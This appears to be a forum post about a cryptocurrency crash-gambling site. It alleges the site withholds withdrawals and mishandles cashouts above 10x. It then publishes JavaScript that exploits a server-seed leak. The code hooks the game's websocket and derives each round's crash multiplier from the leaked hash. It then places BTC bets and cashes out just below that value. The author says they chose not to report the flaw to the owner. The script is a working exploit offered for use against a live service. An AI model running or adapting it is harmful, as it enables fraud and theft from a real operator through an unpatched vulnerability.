This site is not processing withdrawals, no surprise there.
Manual cashouts over 10x are not handled correctly. If a player manually cashes out at 10.5x, they will receive 0.5x resulting in a net loss. This problem does not seem to exist with the auto payout feature. I have not tested 3 or 4 digit multipliers.
The game leaks the server seed before the completion of the game. Normally I would discuss this problem with the owner of the site, but I do not think the owner of the site is acting in good faith. Some code follows to exploit this leaky server seed problem. It can run with a single account labeled account 2 in code, but will run better with two accounts.
---
this = temp1; // Line 8634
qt = temp2; // Line 8634
this = temp3; // Line 8912
---
// Account 1
let game = temp1;
let hashLib = temp2;
let getGameResult = (hash) => {
let t = hashLib()(hash).toString();
let a = parseInt(t.slice(0, 13), 16);
let n = Math.pow(2, 52);
console.log(`Result: ${(Math.floor(98 * n / (n - a)) / 100).toFixed(2)}`);
}
let handleFinishMessage = (data) => {
getGameResult(data.hash);
}
let handleWaitingCrashMessage = () => game.ws.emit('05131bff83db9a797b5e9793cfa3bcf6', { token: game.token, amount: '0.00000001', payout: 100, coin: 'btc' });
game.ws.on('97c73db9a306213ac2b5c3bdecd20e75', handleFinishMessage);
game.ws.on('be91b2a797f2961c59b2780d2cd72e12', handleWaitingCrashMessage);
---
// Account 2
let game = temp1;
let hashLib = temp2;
let canvas = temp3;
let amount = '0.0001';
let inGame = false;
let getGameResult = (hash) => {
let t = hashLib()(hash).toString();
let a = parseInt(t.slice(0, 13), 16);
let n = Math.pow(2, 52);
return parseFloat((Math.floor(98 * n / (n - a)) / 100).toFixed(2));
}
let handleFinishMessage = (data) => {
if(inGame) {
inGame = false;
let result = originalResult = getGameResult(data.hash);
result = result > 9.99 ? 9.99 : result;
result = result == parseFloat(result.toFixed(1)) ? result - 0.1 : parseFloat(result.toFixed(1));
result = result > 1 ? result - 0.1 : 1;
console.log(`Original Result: ${originalResult}, Target Result: ${result}`);
let checkCurrentAmount = () => {
if(!inGame) {
if(parseFloat(canvas.current_amount) >= result) {
game.finish(result);
} else {
setTimeout(checkCurrentAmount, 100);
}
}
}
checkCurrentAmount();
}
}
let handleWaitingCrashMessage = () => {
game.ws.emit('05131bff83db9a797b5e9793cfa3bcf6', { token: game.token, amount: amount, payout: 9500, coin: 'btc' });
inGame = true;
}
game.ws.on('97c73db9a306213ac2b5c3bdecd20e75', handleFinishMessage);
game.ws.on('be91b2a797f2961c59b2780d2cd72e12', handleWaitingCrashMessage);